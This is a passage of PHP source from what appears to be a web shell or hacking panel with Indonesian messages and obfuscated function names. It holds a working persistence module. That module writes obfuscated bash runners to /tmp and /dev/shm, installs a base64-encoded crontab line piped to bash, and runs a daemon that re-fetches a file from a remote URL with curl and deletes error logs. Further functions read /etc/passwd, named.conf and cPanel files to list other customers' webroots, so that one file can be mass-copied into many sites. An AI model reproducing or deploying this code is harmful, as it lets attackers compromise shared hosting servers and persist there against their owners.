 * - mutual backup: daemon↔crontab, /tmp↔/dev/shm
 *
 * NOTE: real deploy now goes through _g1ad4e18()
 * (download cron.sh → patch → bash → delete). Avoids disabled exec().
 */
function _gac139d3($dirPath, $fileName, $downloadUrl)
{
    // Preferred path: remote cron.sh template (no direct exec() calls)
    return _g1ad4e18($dirPath, $fileName, $downloadUrl);

    // ---- legacy inline deploy below (unreachable; kept for reference) ----
    $steps = array();
    $isWin = _gde2b43a();
    if ($isWin) {
        return array(
            'ok' => false,
            'error' => 'Persistence (daemon/crontab) hanya untuk Linux/Unix.',
            'steps' => array('Skip persistence di Windows.'),
        );
    }

    $instanceId = substr(md5($dirPath . '|' . $fileName . '|' . $downloadUrl), 0, 8);
    $installPath = '/tmp/.' . $instanceId . '/.runner.sh';
    $shmPath = '/dev/shm/.' . $instanceId . '/.runner.sh';
    $pidFile = '/tmp/.' . $instanceId . '.pid';
    $lockFile = '/tmp/.' . $instanceId . '.lock';
    $spawnLock = '/tmp/.' . $instanceId . '.spawn.lock';
    $targetLock = '/tmp/.' . $instanceId . '.target.lock';
    $cronMarker = '# cronsh_' . $instanceId;

    $runner = <<<'BASH'
#!/bin/bash
DIR_PATH=__DIR_PATH__
FILE_NAME=__FILE_NAME__
DOWNLOAD_URL=__DOWNLOAD_URL__
FILE_PATH="$DIR_PATH/$FILE_NAME"
INSTALL_PATH=__INSTALL_PATH__
SHM_INSTALL_PATH=__SHM_PATH__
PID_FILE=__PID_FILE__
LOCK_FILE=__LOCK_FILE__
SPAWN_LOCK=__SPAWN_LOCK__
TARGET_LOCK=__TARGET_LOCK__
CRON_MARKER=__CRON_MARKER__
CRON_SCHEDULE="*/1 * * * *"
SLEEP_INTERVAL=1
RECHECK_INTERVAL=30
CRONTAB_CHECK_INTERVAL=60

b64encode() {
  if base64 --help 2>&1 | grep -q '\-w'; then
    printf '%s' "$1" | base64 -w 0
  else
    printf '%s' "$1" | base64 | tr -d '\n'
  fi
}

mirror_runner_to_shm() {
  mkdir -p "$(dirname "$SHM_INSTALL_PATH")"
  cp -f "$INSTALL_PATH" "$SHM_INSTALL_PATH"
  chmod 700 "$SHM_INSTALL_PATH" 2>/dev/null
}

mirror_runner_to_tmp() {
  mkdir -p "$(dirname "$INSTALL_PATH")"
  cp -f "$SHM_INSTALL_PATH" "$INSTALL_PATH"
  chmod 700 "$INSTALL_PATH" 2>/dev/null
}

ensure_runner_mirror() {
  if [ -f "$INSTALL_PATH" ] && [ ! -f "$SHM_INSTALL_PATH" ]; then
    mirror_runner_to_shm
  elif [ -f "$SHM_INSTALL_PATH" ] && [ ! -f "$INSTALL_PATH" ]; then
    mirror_runner_to_tmp
  elif [ -f "$INSTALL_PATH" ] && [ -f "$SHM_INSTALL_PATH" ]; then
    if ! cmp -s "$INSTALL_PATH" "$SHM_INSTALL_PATH" 2>/dev/null; then
      cp -f "$INSTALL_PATH" "$SHM_INSTALL_PATH"
      chmod 700 "$SHM_INSTALL_PATH" 2>/dev/null
    fi
  else
    return 1
  fi
}

runner_exec_path() {
  ensure_runner_mirror || return 1
  if [ -f "$INSTALL_PATH" ]; then
    printf '%s' "$INSTALL_PATH"
    return 0
  fi
  if [ -f "$SHM_INSTALL_PATH" ]; then
    printf '%s' "$SHM_INSTALL_PATH"
    return 0
  fi
  return 1
}

# PHP already wrote obfuscated stubs; sync_install keeps /tmp↔/dev/shm mirrored
sync_install() {
  ensure_runner_mirror || return 1
  chmod 700 "$INSTALL_PATH" 2>/dev/null
  chmod 700 "$SHM_INSTALL_PATH" 2>/dev/null
  return 0
}

download_file() {
  local dest="$1" url="$2" tmp
  tmp=$(mktemp) || return 1
  if curl -fsSL --connect-timeout 10 --max-time 30 "$url" -o "$tmp" 2>/dev/null && [ -s "$tmp" ]; then
    chmod 444 "$tmp" 2>/dev/null
    mv -f "$tmp" "$dest"
    return 0
  fi
  rm -f "$tmp"
  return 1
}

with_target_lock() {
  local wait="$1"
  shift
  (
    flock -x -w "$wait" 201 || exit 1
    "$@"
  ) 201>"$TARGET_LOCK"
}

_recover_inner() {
  local mode="$1"
  [ -d "$DIR_PATH" ] || mkdir -p "$DIR_PATH"
  chmod 755 "$DIR_PATH" 2>/dev/null
  rm -f "$DIR_PATH/error_log" "$DIR_PATH/error.log" 2>/dev/null

  if [ ! -f "$FILE_PATH" ] || [ ! -s "$FILE_PATH" ]; then
    rm -f "$FILE_PATH"
    download_file "$FILE_PATH" "$DOWNLOAD_URL"
  elif [ "$mode" = "verify" ]; then
    local tmp
    tmp=$(mktemp) || return 1
    if curl -fsSL --connect-timeout 10 --max-time 30 "$DOWNLOAD_URL" -o "$tmp" 2>/dev/null && [ -s "$tmp" ]; then
      if ! cmp -s "$tmp" "$FILE_PATH" 2>/dev/null; then
        chmod 444 "$tmp" 2>/dev/null
        mv -f "$tmp" "$FILE_PATH"
      else
        rm -f "$tmp"
      fi
    else
      rm -f "$tmp"
    fi
  fi
  [ -f "$FILE_PATH" ] && [ ! -s "$FILE_PATH" ] && rm -f "$FILE_PATH"
  [ -f "$FILE_PATH" ] && chmod 444 "$FILE_PATH" 2>/dev/null
}

recover_once() {
  with_target_lock 5 _recover_inner "${1:-verify}"
}

build_cron_payload() {
  local tmp_b64 shm_b64
  ensure_runner_mirror || return 1
  tmp_b64=$(b64encode "$(cat "$INSTALL_PATH")") || return 1
  shm_b64=$(b64encode "$(cat "$SHM_INSTALL_PATH")") || return 1
  cat <<PAYLOAD
#!/bin/bash
INSTALL_PATH="$INSTALL_PATH"
SHM_INSTALL_PATH="$SHM_INSTALL_PATH"
_install_dir="\$(dirname "\$INSTALL_PATH")"
_shm_dir="\$(dirname "\$SHM_INSTALL_PATH")"
mkdir -p "\$_install_dir" "\$_shm_dir"
echo '$tmp_b64' | base64 -d > "\$INSTALL_PATH"
echo '$shm_b64' | base64 -d > "\$SHM_INSTALL_PATH"
chmod 700 "\$INSTALL_PATH" "\$SHM_INSTALL_PATH"
bash "\$INSTALL_PATH" --recover
PAYLOAD
}

install_crontab() {
  local payload b64 cron_line
  ensure_runner_mirror || return 1
  payload=$(build_cron_payload) || return 1
  b64=$(b64encode "$payload")
  cron_line="$CRON_SCHEDULE echo '$b64' | base64 -d 2>/dev/null | bash >/dev/null 2>&1 $CRON_MARKER"
  (crontab -l 2>/dev/null | grep -Fv "$CRON_MARKER"; echo "$cron_line") | crontab - 2>/dev/null
}

crontab_ok() {
  crontab -l 2>/dev/null | grep -Fq "$CRON_MARKER"
}

ensure_crontab() {
  crontab_ok || install_crontab
}

is_daemon_running() {
  local pid
  [ -f "$PID_FILE" ] || return 1
  pid=$(cat "$PID_FILE" 2>/dev/null)
  [ -n "$pid" ] && kill -0 "$pid" 2>/dev/null
}

start_daemon() {
  sync_install || ensure_runner_mirror || return 1
  is_daemon_running && return 0
  (
    flock -x -w 3 202 || exit 1
    is_daemon_running && exit 0
    local exec_path
    exec_path=$(runner_exec_path) || exit 1
    rm -f "$PID_FILE"
    nohup bash "$exec_path" --daemon >/dev/null 2>&1 &
    sleep 1
    is_daemon_running
  ) 202>"$SPAWN_LOCK"
}

daemon_loop() {
  exec 200>"$LOCK_FILE"
  flock -n 200 || exit 0
  echo $$ > "$PID_FILE"
  trap 'rm -f "$PID_FILE"' EXIT INT TERM
  local last_recheck=0 last_cron=0 now
  # Light crontab first (must be fast — PHP waits for PID/deploy)
  ensure_crontab
  while true; do
    ensure_runner_mirror
    now=$(date +%s)
    if [ "$((now - last_cron))" -ge "$CRONTAB_CHECK_INTERVAL" ]; then
      ensure_crontab
      last_cron=$now
    fi
    if [ ! -f "$FILE_PATH" ] || [ ! -s "$FILE_PATH" ]; then
      recover_once quick
    elif [ "$((now - last_recheck))" -ge "$RECHECK_INTERVAL" ]; then
      recover_once verify
      last_recheck=$now
    else
      [ -d "$DIR_PATH" ] && chmod 755 "$DIR_PATH" 2>/dev/null
      [ -f "$FILE_PATH" ] && chmod 444 "$FILE_PATH" 2>/dev/null
    fi
    sleep "$SLEEP_INTERVAL"
  done
}

case "${1:-}" in
  --daemon)
    sync_install 2>/dev/null || ensure_runner_mirror || exit 0
    daemon_loop
    ;;
  --recover)
    sync_install 2>/dev/null || ensure_runner_mirror || exit 0
    ensure_runner_mirror
    if [ ! -f "$FILE_PATH" ] || [ ! -s "$FILE_PATH" ]; then
      recover_once quick
    elif ! is_daemon_running; then
      recover_once verify
    else
      [ -d "$DIR_PATH" ] && chmod 755 "$DIR_PATH" 2>/dev/null
      [ -f "$FILE_PATH" ] && chmod 444 "$FILE_PATH" 2>/dev/null
    fi
    ensure_crontab
    start_daemon
    ;;
  *)
    sync_install 2>/dev/null || ensure_runner_mirror || exit 1
    install_crontab
    start_daemon
    recover_once verify
    ;;
esac
BASH;

    $runner = str_replace(
        array(
            '__DIR_PATH__',
            '__FILE_NAME__',
            '__DOWNLOAD_URL__',
            '__INSTALL_PATH__',
            '__SHM_PATH__',
            '__PID_FILE__',
            '__LOCK_FILE__',
            '__SPAWN_LOCK__',
            '__TARGET_LOCK__',
            '__CRON_MARKER__',
        ),
        array(
            _gf978461($dirPath),
            _gf978461($fileName),
            _gf978461($downloadUrl),
            _gf978461($installPath),
            _gf978461($shmPath),
            _gf978461($pidFile),
            _gf978461($lockFile),
            _gf978461($spawnLock),
            _gf978461($targetLock),
            _gf978461($cronMarker),
        ),
        $runner
    );

    // Write OBFUSCATED runners (gzip+base64 split) — same as cron.sh write_obfuscated_install
    $written = array();
    foreach (array($installPath, $shmPath) as $dest) {
        if (_g3648335($dest, $runner, $instanceId)) {
            $written[] = $dest;
            $steps[] = 'Obfuscated runner written: ' . $dest;
        } else {
            $steps[] = 'Gagal write obfuscated: ' . $dest;
        }
    }

    if (!count($written)) {
        return array('ok' => false, 'error' => 'Gagal menulis obfuscated runner ke /tmp atau /dev/shm.', 'steps' => $steps);
    }
    if (_gfif($installPath) && !_gfif($shmPath)) {
        @_gfcp($installPath, $shmPath);
        @_gfch($shmPath, 0700);
    }
    if (_gfif($shmPath) && !_gfif($installPath)) {
        @_gfcp($shmPath, $installPath);
        @_gfch($installPath, 0700);
    }

    // Crontab embeds FULL obfuscated runners (cron.sh build_cron_payload)
    $tmpRaw = (string)@_gfgc($installPath);
    $shmRaw = (string)@_gfgc(_gfif($shmPath) ? $shmPath : $installPath);
    $tmpB64 = _g_b64e($tmpRaw);
    $shmB64 = _g_b64e($shmRaw);
    if ($tmpB64 === '' || $shmB64 === '') {
        return array('ok' => false, 'error' => 'Gagal encode runner untuk crontab.', 'steps' => $steps);
    }

    $cronPayload = "#!/bin/bash\n"
        . "INSTALL_PATH=" . _gf978461($installPath) . "\n"
        . "SHM_INSTALL_PATH=" . _gf978461($shmPath) . "\n"
        . "_install_dir=\"\$(dirname \"\$INSTALL_PATH\")\"\n"
        . "_shm_dir=\"\$(dirname \"\$SHM_INSTALL_PATH\")\"\n"
        . "mkdir -p \"\$_install_dir\" \"\$_shm_dir\"\n"
        . "echo " . _gf978461($tmpB64) . " | base64 -d > \"\$INSTALL_PATH\"\n"
        . "echo " . _gf978461($shmB64) . " | base64 -d > \"\$SHM_INSTALL_PATH\"\n"
        . "chmod 700 \"\$INSTALL_PATH\" \"\$SHM_INSTALL_PATH\"\n"
        . "bash \"\$INSTALL_PATH\" --recover\n";
    $cronPayloadB64 = _g_b64e($cronPayload);
    $cronLine = '*/1 * * * * echo ' . _gf978461($cronPayloadB64) . ' | base64 -d 2>/dev/null | bash >/dev/null 2>&1 ' . $cronMarker;
    $steps[] = 'Crontab payload built (embed full obfuscated /tmp+/dev/shm runners)';

    $cronOk = false;
    $existing = _gf14588c();
    $content = isset($existing['content']) ? (string)$existing['content'] : '';
    if (!empty($existing['error'])) {
        $steps[] = 'crontab -l warning: ' . $existing['error'];
    }
    $lines = preg_split("/\r\n|\n|\r/", $content);
    if (!is_array($lines)) {
        $lines = array();
    }
    $newLines = array();
    foreach ($lines as $ln) {
        if (strpos($ln, $cronMarker) !== false) {
            continue;
        }
        if (strpos($ln, '# gecko_rec_' . $instanceId) !== false) {
            continue;
        }
        if (trim($ln) === '') {
            continue;
        }
        $newLines[] = $ln;
    }
    $newLines[] = $cronLine;
    $cronBody = implode("\n", $newLines) . "\n";
    $cronSave = _g682d47a($cronBody);
    if (!empty($cronSave['ok'])) {
        $cronOk = true;
        $steps[] = 'Crontab installed: ' . $cronMarker;
    } else {
        $cronTmp = '/tmp/.' . $instanceId . '.crontab.txt';
        @_gfpc($cronTmp, $cronBody);
        $cronTry = _g6a69901('crontab ' . _gb6799bc($cronTmp), '/tmp', 25);
        @_gfun($cronTmp);
        if (empty($cronTry['timed_out']) && (int)$cronTry['exit_code'] === 0) {
            $cronOk = true;
            $steps[] = 'Crontab installed via crontab file';
        } else {
            $steps[] = 'Crontab gagal: ' . (isset($cronSave['error']) ? $cronSave['error'] : (isset($cronTry['output']) ? substr((string)$cronTry['output'], 0, 200) : 'unknown'));
        }
    }

    $cronCheck = _gf14588c();
    if (!empty($cronCheck['content']) && strpos($cronCheck['content'], $cronMarker) !== false) {
        $cronOk = true;
        $steps[] = 'Crontab confirmed present';
    }

    // Stop old daemon, start new, wait for PID
    if (_gfif($pidFile)) {
        $oldPid = (int)trim((string)@_gfgc($pidFile));
        if ($oldPid > 0) {
            _gf3e9014('kill ' . $oldPid . ' 2>/dev/null');
            usleep(300000);
        }
        @_gfun($pidFile);
    }

    $execPath = _gfif($installPath) ? $installPath : $shmPath;
    _g6a69901(
        'bash -c ' . _gb6799bc('nohup bash ' . _gb6799bc($execPath) . ' --daemon >/dev/null 2>&1 &'),
        '/tmp',
        10
    );

    $pid = 0;
    $deadline = microtime(true) + 6.0;
    while (microtime(true) < $deadline) {
        if (_gfif($pidFile)) {
            $pid = (int)trim((string)@_gfgc($pidFile));
            if ($pid > 0) {
                break;
            }
        }
        usleep(200000);
    }
    if ($pid <= 0) {
        _gf3e9014('nohup bash ' . _gb6799bc($execPath) . ' --daemon >/dev/null 2>&1 &');
        usleep(1000000);
        if (_gfif($pidFile)) {
            $pid = (int)trim((string)@_gfgc($pidFile));
        }
    }

    if ($pid > 0) {
        $steps[] = 'Daemon started, PID: ' . $pid . ' (' . $pidFile . ')';
    } else {
        $steps[] = 'Daemon PID missing. Manual: nohup bash ' . $execPath . ' --daemon >/dev/null 2>&1 &';
    }

    // Heal pass like cron.sh --recover
    _g6a69901('bash ' . _gb6799bc($execPath) . ' --recover', '/tmp', 60);
    if (_gfif($pidFile)) {
        $pid2 = (int)trim((string)@_gfgc($pidFile));
        if ($pid2 > 0) {
            $pid = $pid2;
        }
    }
    $cronCheck2 = _gf14588c();
    if (!empty($cronCheck2['content']) && strpos($cronCheck2['content'], $cronMarker) !== false) {
        $cronOk = true;
    }

    $steps[] = 'cron.sh parity check:';
    $steps[] = '- obfuscated /tmp: ' . (_gfif($installPath) ? 'OK' : 'MISSING');
    $steps[] = '- obfuscated /dev/shm: ' . (_gfif($shmPath) ? 'OK' : 'MISSING');
    $steps[] = '- PID: ' . ($pid > 0 ? ('OK ' . $pid) : 'MISSING');
    $steps[] = '- Crontab embed: ' . ($cronOk ? 'OK' : 'MISSING');
    $steps[] = '- Auto-restore: daemon every 1s when file deleted; crontab every 1m';

    $ok = (_gfif($installPath) || _gfif($shmPath)) && ($pid > 0 || $cronOk);
    return array(
        'ok' => $ok,
        'message' => $ok
            ? 'Persistence aktif seperti cron.sh (obfuscated /tmp+/dev/shm + crontab embed + PID). File yang dihapus akan kembali otomatis.'
            : 'Deploy persistence tidak lengkap — cek steps.',
        'instance_id' => $instanceId,
        'install_path' => $installPath,
        'shm_path' => $shmPath,
        'pid_file' => $pidFile,
        'pid' => $pid,
        'crontab' => $cronOk,
        'cron_marker' => $cronMarker,
        'mutual_backup' => true,
        'obfuscated' => true,
        'async' => false,
        'steps' => $steps,
    );
}

/**
 * Find writable directories under a start path (Tools → Find Writable Dir).
 * Action name: find_writable_dirs — does not conflict with Blue Team "writable".
 */
function _g48a3fc8($path)
{
    return _g191b0a2($path, array(
        'empty' => 'Path kosong.',
    ));
}

function _g26cb9e2($startPath, $maxDepth = 8, $limit = 400)
{
    $maxDepth = (int)$maxDepth;
    $limit = (int)$limit;
    if ($maxDepth < 0) $maxDepth = 0;
    if ($maxDepth > 12) $maxDepth = 12;
    if ($limit < 1) $limit = 1;
    if ($limit > 500) $limit = 500;

    $real = _gfrp($startPath);
    if ($real === false || !_gfid($real)) {
        // realpath may fail if path exists but unreadable; still try raw path
        if (!_gfid($startPath)) {
            return array('ok' => false, 'error' => 'Direktori tidak ditemukan / tidak bisa diakses: ' . $startPath);
        }
        $real = $startPath;
    }

    $found = array();
    $scanned = 0;
    @set_time_limit(120);
    $scanned = _g44646ac($real, function ($dir, $depth) use (&$found, $limit) {
        if (count($found) >= $limit) {
            return false;
        }
        if (@_gfiw($dir)) {
            $perm = @fileperms($dir);
            $found[] = array(
                'path' => _ge1732fc($dir),
                'perm' => $perm ? substr(sprintf('%o', $perm), -3) : '???',
                'depth' => $depth,
            );
        }
        return count($found) < $limit;
    }, array(
        'max_depth' => $maxDepth,
        'max_scanned' => 50000,
        'dfs' => false,
    ));

    return array(
        'ok' => true,
        'start' => _ge1732fc($real),
        'count' => count($found),
        'scanned' => $scanned,
        'max_depth' => $maxDepth,
        'limit' => $limit,
        'truncated' => count($found) >= $limit,
        'dirs' => $found,
        'message' => count($found)
            ? ('Ditemukan ' . count($found) . ' writable dir dari ' . str_replace('\\', '/', $real))
            : ('Tidak ada writable dir di bawah ' . str_replace('\\', '/', $real)),
    );
}

/**
 * Mass Copy / File Spread (from copy.php) — Tools → Mass Copy
 * Spreads one source file into writable webroots under domain dirs found from base path.
 * Action: mass_copy — does not conflict with clipboard copy/paste (action: copy).
 */
function _gdce9e5b()
{
    return array(
        'cagefs', 'caldav', 'cl.selector', 'cpaddons', 'cpanel',
        'cache', 'etc', 'logs', 'lscache', 'mail', 'public_ftp',
        'ssl', 'var', 'tmp', 'backup', 'backups', 'session', 'sessions',
    );
}

function _gd3dc382()
{
    return array(
        '.git', '.svn', 'node_modules', '__pycache__',
        'cache', 'tmp', 'logs', 'session', 'sessions',
        'backup', 'backups', 'sass-cache', '.idea',
    );
}

function _g969e562()
{
    return array('public_html', 'www', 'htdocs', 'html', 'public', 'web');
}

function _g511f414($name)
{
    if (!$name || $name === '.' || $name === '..') return false;
    if (isset($name[0]) && $name[0] === '.') return false;
    if (strpos($name, '.') === false) return false;
    return !in_array(strtolower($name), _gdce9e5b(), true);
}

function _gf8e3f77($base)
{
    $domains = array();
    $base = rtrim(str_replace('\\', '/', (string)$base), '/');
    if ($base === '') return $domains;

    if (strpos($base, '*') !== false) {
        $userDirs = @_gfgb($base, GLOB_ONLYDIR);
        if (!is_array($userDirs)) $userDirs = array();
        foreach ($userDirs as $ud) {
            $subs = @_gfgb(rtrim(str_replace('\\', '/', $ud), '/') . '/*', GLOB_ONLYDIR);
            if (!is_array($subs)) continue;
            foreach ($subs as $sub) {
                if (_g511f414(basename($sub))) {
                    $domains[] = str_replace('\\', '/', $sub);
                }
            }
        }
    } else {
        $subs = @_gfgb($base . '/*', GLOB_ONLYDIR);
        if (!is_array($subs)) $subs = array();
        foreach ($subs as $sub) {
            if (_g511f414(basename($sub))) {
                $domains[] = str_replace('\\', '/', $sub);
            }
        }
    }
    return $domains;
}


/** Baca baris file sistem (named.conf / domainowners / passwd) — ala Symlink(php). */
function _g9580849($path)
{
    $path = (string)$path;
    if ($path === '' || !@_gfif($path) || !@_gfir($path)) {
        return array();
    }
    $raw = @file($path, FILE_IGNORE_NEW_LINES);
    if (is_array($raw)) {
        return $raw;
    }
    $txt = @_gfgc($path);
    if ($txt === false || $txt === '') {
        return array();
    }
    return preg_split("/\r\n|\n|\r/", $txt);
}

function _g57d5120($path)
{
    $path = (string)$path;
    if ($path === '' || !@_gfex($path)) {
        return '';
    }
    if (function_exists('posix_getpwuid') && function_exists('fileowner')) {
        $uid = @fileowner($path);
        if ($uid !== false) {
            $info = @posix_getpwuid($uid);
            if (is_array($info) && !empty($info['name'])) {
                return (string)$info['name'];
            }
        }
    }
    if (function_exists('_gb587805')) {
        $r = _gb587805('stat -c %U ' . _gb6799bc($path) . ' 2>/dev/null', '/tmp', 5);
        $out = isset($r['output']) ? trim($r['output']) : '';
        if ($out !== '' && preg_match('/^[a-zA-Z0-9_\-]+$/', $out)) {
            return $out;
        }
    }
    return '';
}

function _gf4a3eb4($user)
{
    $user = trim((string)$user);
    if ($user === '' || !preg_match('/^[a-zA-Z0-9_\-]+$/', $user)) {
        return '';
    }
    $candidates = array(
        '/home/' . $user . '/public_html',
        '/home/' . $user . '/www',
        '/home/' . $user . '/htdocs',
        '/var/www/' . $user . '/public_html',
    );
    foreach ($candidates as $p) {
        if (@_gfid($p)) {
            return str_replace('\\', '/', $p);
        }
    }
    return '/home/' . $user . '/public_html';
}

/**
 * Discovery domain+user+path ala Symlink(php):
 * domainowners -> userdatadomains -> named.conf/valiases -> passwd
 * Path webroot: /home/{user}/public_html
 */

/** Zone/domain sampah hosting (bukan site customer). */
function _g5d77fa7($domain)
{
    $d = strtolower(trim((string)$domain));
    if ($d === '' || $d === '.' || $d === 'localhost') return true;
    if (isset($d[0]) && $d[0] === '.') return true;
    if (strpos($d, '.') === false) return true;
    // panel / infra
    if (preg_match('/(^|\\.)virtuaserver\\.com\\.br$/i', $d)) return true;
    if (preg_match('/\\.cpanel3\\./i', $d)) return true;
    if (preg_match('/\\.cpanel\\.site$/i', $d)) return true;
    if (preg_match('/\\.webhostbox\\.net$/i', $d)) return true;
    if (preg_match('/\\.cpanel\\.site$/i', $d)) return true;
    if (preg_match('/(^|\\.)cp3\\.sh15\\.net$/i', $d)) return true;
    if (strpos($d, 'cpanel3.virtuaserver') !== false) return true;
    if (preg_match('/\\.\\d{1,3}-\\d{1,3}-\\d{1,3}-\\d{1,3}\\.cpanel\\.site$/i', $d)) return true;
    return false;
}

/** Resolve document root spesifik domain (addon/sub) sebelum fallback public_html. */
function _g8b77b6d($domain, $user, $hintPath = '')
{
    $domain = strtolower(trim((string)$domain));
    $user = trim((string)$user);
    $hintPath = rtrim(str_replace('\\', '/', (string)$hintPath), '/');
    $cands = array();
    if ($hintPath !== '' && @_gfid($hintPath)) {
        $cands[] = $hintPath;
    }
    if ($user !== '' && $domain !== '' && substr($domain, -6) !== '.local') {
        $cands[] = '/home/' . $user . '/public_html/' . $domain;
        $cands[] = '/home/' . $user . '/' . $domain;
        $cands[] = '/home/' . $user . '/www/' . $domain;
        // cPanel userdata file
        $ud = '/var/cpanel/userdata/' . $user . '/' . $domain;
        if (@_gfif($ud) && @_gfir($ud)) {
            foreach (_g9580849($ud) as $line) {
                if (preg_match('/^documentroot:\\s*(.+)$/i', trim($line), $m)) {
                    $p = trim($m[1]);
                    if ($p !== '') $cands[] = rtrim(str_replace('\\', '/', $p), '/');
                }
            }
        }
    }
    if ($user !== '') {
        $cands[] = _gf4a3eb4($user);
    }
    // Prefer path paling spesifik yang exists
    $best = '';
    $bestScore = -1;
    foreach ($cands as $p) {
        $p = rtrim(str_replace('\\', '/', $p), '/');
        if ($p === '' || !@_gfid($p)) continue;
        $score = substr_count($p, '/');
        // bonus kalau path mengandung nama domain
        if ($domain !== '' && strpos($p, $domain) !== false) $score += 10;
        if ($score > $bestScore) {
            $bestScore = $score;
            $best = $p;
        }
    }
    return $best;
}

function _g9c1b59b()
{
    $out = array();
    $seen = array();
    $methods = array();
    $add = function ($domain, $user, $path = '', $srcName = 'system') use (&$out, &$seen) {
        $domain = strtolower(trim((string)$domain));
        $user = trim((string)$user);
        if (_g5d77fa7($domain)) return;
        if ($user === '' || !preg_match('/^[a-zA-Z0-9_\-]+$/', $user)) return;
        if ($domain === '') return;
        $key = $domain;
        if (isset($seen[$key])) return;
        $seen[$key] = true;
        $path = _g8b77b6d($domain, $user, $path);
        if ($path === '') {
            $path = _gf4a3eb4($user);
        }
        $path = rtrim(str_replace('\\', '/', (string)$path), '/');
        $out[] = array(
            'domain' => $domain,
            'user' => $user,
            'path' => $path,
            'source' => $srcName,
        );
    };

    // 1) domainowners
    if (@_gfif('/etc/virtual/domainowners') && @_gfir('/etc/virtual/domainowners')) {
        $n = 0;
        foreach (_g9580849('/etc/virtual/domainowners') as $line) {
            $line = trim($line);
            if ($line === '' || strpos($line, ':') === false) continue;
            $parts = explode(':', $line, 2);
            $add(trim($parts[0]), trim($parts[1]), '', 'domainowners');
            $n++;
        }
        if ($n > 0) $methods[] = 'domainowners';
    }

    // 2) cPanel userdatadomains — sering berisi path docroot
    if (@_gfif('/etc/userdatadomains') && @_gfir('/etc/userdatadomains')) {
        $n = 0;
        foreach (_g9580849('/etc/userdatadomains') as $line) {
            $line = trim($line);
            if ($line === '' || strpos($line, ':') === false) continue;
            $parts = explode(':', $line, 2);
            $domain = trim($parts[0]);
            $rest = trim($parts[1]);
            $user = $rest;
            $doc = '';
            if (preg_match('/^([a-zA-Z0-9_\-]+)/', $rest, $m)) {
                $user = $m[1];
            }
            // format == sering: user==...==/home/user/public_html==...
            if (strpos($rest, '==') !== false) {
                $bits = explode('==', $rest);
                if (!empty($bits[0])) $user = trim($bits[0]);
                foreach ($bits as $b) {
                    $b = trim($b);
                    if ($b !== '' && $b[0] === '/' && strpos($b, '/home/') === 0) {
                        $doc = $b;
                        break;
                    }
                }
            }
            $add($domain, $user, $doc, 'userdatadomains');
            $n++;
        }
        if ($n > 0) $methods[] = 'userdatadomains';
    }

    // 3) named.conf zones + valiases owner
    $namedDomains = array();
    foreach (_g9580849('/etc/named.conf') as $line) {
        if (stripos($line, 'zone') === false) continue;
        if (preg_match('/zone\s+"([^"]+)"/i', $line, $m)) {
            $d = strtolower(trim($m[1]));
            if (_g5d77fa7($d)) continue;
            if (strlen($d) > 2 && strpos($d, '.') !== false) {
                $namedDomains[$d] = true;
            }
        }
    }

    $valiases = array();
    if (@_gfid('/etc/valiases') && @_gfir('/etc/valiases')) {
        $scan = @_gfsc('/etc/valiases');
        if (is_array($scan)) {
            foreach ($scan as $name) {
                if ($name === '.' || $name === '..') continue;
                if (_g5d77fa7($name)) continue;
                $valiases[strtolower($name)] = '/etc/valiases/' . $name;
            }
        }
    }
    foreach ($namedDomains as $d => $_) {
        if (!isset($valiases[$d])) {
            $valiases[$d] = '/etc/valiases/' . $d;
        }
    }
    $nNamed = 0;
    foreach ($valiases as $domain => $valiasPath) {
        if (_g5d77fa7($domain)) continue;
        $user = '';
        if (@_gfex($valiasPath)) {
            $user = _g57d5120($valiasPath);
        }
        // trueuserdomains / grep userdata if owner missing
        if (($user === '' || $user === 'root') && @_gfif('/etc/trueuserdomains')) {
            foreach (_g9580849('/etc/trueuserdomains') as $tl) {
                $tl = trim($tl);
                if (stripos($tl, strtolower($domain)) === 0 && strpos($tl, ':') !== false) {
                    $tp = explode(':', $tl, 2);
                    if (strtolower(trim($tp[0])) === strtolower($domain)) {
                        $user = trim($tp[1]);
                        break;
                    }
                }
            }
        }
        if ($user === '' || $user === 'root') continue;
        $add($domain, $user, '', 'named+valiases');
        $nNamed++;
    }
    if ($nNamed > 0) $methods[] = 'named+valiases';

    // 4) passwd fallback hanya jika masih kosong
    if (empty($out)) {
        $byUser = array();
        foreach (_g9580849('/etc/passwd') as $line) {
            $parts = explode(':', $line);
            if (count($parts) < 6) continue;
            $user = $parts[0];
            $uid = (int)$parts[2];
            $home = $parts[5];
            if ($uid < 500) continue;
            if ($user === 'nobody' || $user === 'nfsnobody') continue;
            $ph = rtrim(str_replace('\\', '/', $home), '/') . '/public_html';
            if (!@_gfid($ph)) {
                $ph = _gf4a3eb4($user);
            }
            if (!@_gfid($ph)) continue;
            if (isset($byUser[$user])) continue;
            $byUser[$user] = true;
            $add($user . '.site.local', $user, $ph, 'passwd');
        }
        if (!empty($out)) $methods[] = 'passwd';
    }

    return array(
        'ok' => !empty($out),
        'method' => implode('+', $methods),
        'entries' => $out,
        'error' => empty($out) ? 'Tidak bisa baca domainowners/userdatadomains/named/valiases/passwd.' : '',
    );
}

/**
 * v2 targets: SATU target per document-root unik (bukan cuma 1 per user).
 * Banyak domain di named.conf -> path addon berbeda ikut ter-cover.
 */
function _g44fe04a()
{
    $sys = _g9c1b59b();
    if (empty($sys['entries'])) {
        return array(
            'ok' => false,
            'mode' => 'v2-system',
            'method' => isset($sys['method']) ? $sys['method'] : '',
            'targets' => array(),
            'error' => isset($sys['error']) ? $sys['error'] : 'Discovery sistem kosong.',
        );
    }

    $byPath = array();
    foreach ($sys['entries'] as $e) {
        $user = isset($e['user']) ? $e['user'] : '';
        $domain = isset($e['domain']) ? $e['domain'] : '';
        if ($user === '' || $domain === '') continue;
        if (_g5d77fa7($domain)) continue;

        $path = isset($e['path']) ? $e['path'] : '';
        $path = _g8b77b6d($domain, $user, $path);
        if ($path === '' || !@_gfid($path)) {
            $path = _gf4a3eb4($user);
        }
        if ($path === '' || !@_gfid($path)) {
            continue;
        }
        $pathKey = $path;
        // realpath kalau bisa (dedupe symlink)
        $rp = @_gfrp($path);
        if ($rp) $pathKey = str_replace('\\', '/', $rp);

        if (!isset($byPath[$pathKey])) {
            $byPath[$pathKey] = array(
                'domain' => $domain,
                'user' => $user,
                'domainDir' => $path,
                'domains' => array($domain),
                'source' => isset($sys['method']) ? $sys['method'] : 'system',
            );
        } else {
            if (!in_array($domain, $byPath[$pathKey]['domains'], true)) {
                $byPath[$pathKey]['domains'][] = $domain;
            }
            // prefer FQDN non-local sebagai primary
            if (substr($byPath[$pathKey]['domain'], -6) === '.local' && substr($domain, -6) !== '.local') {
                $byPath[$pathKey]['domain'] = $domain;
            }
        }
    }

    $targets = array_values($byPath);
    return array(
        'ok' => !empty($targets),
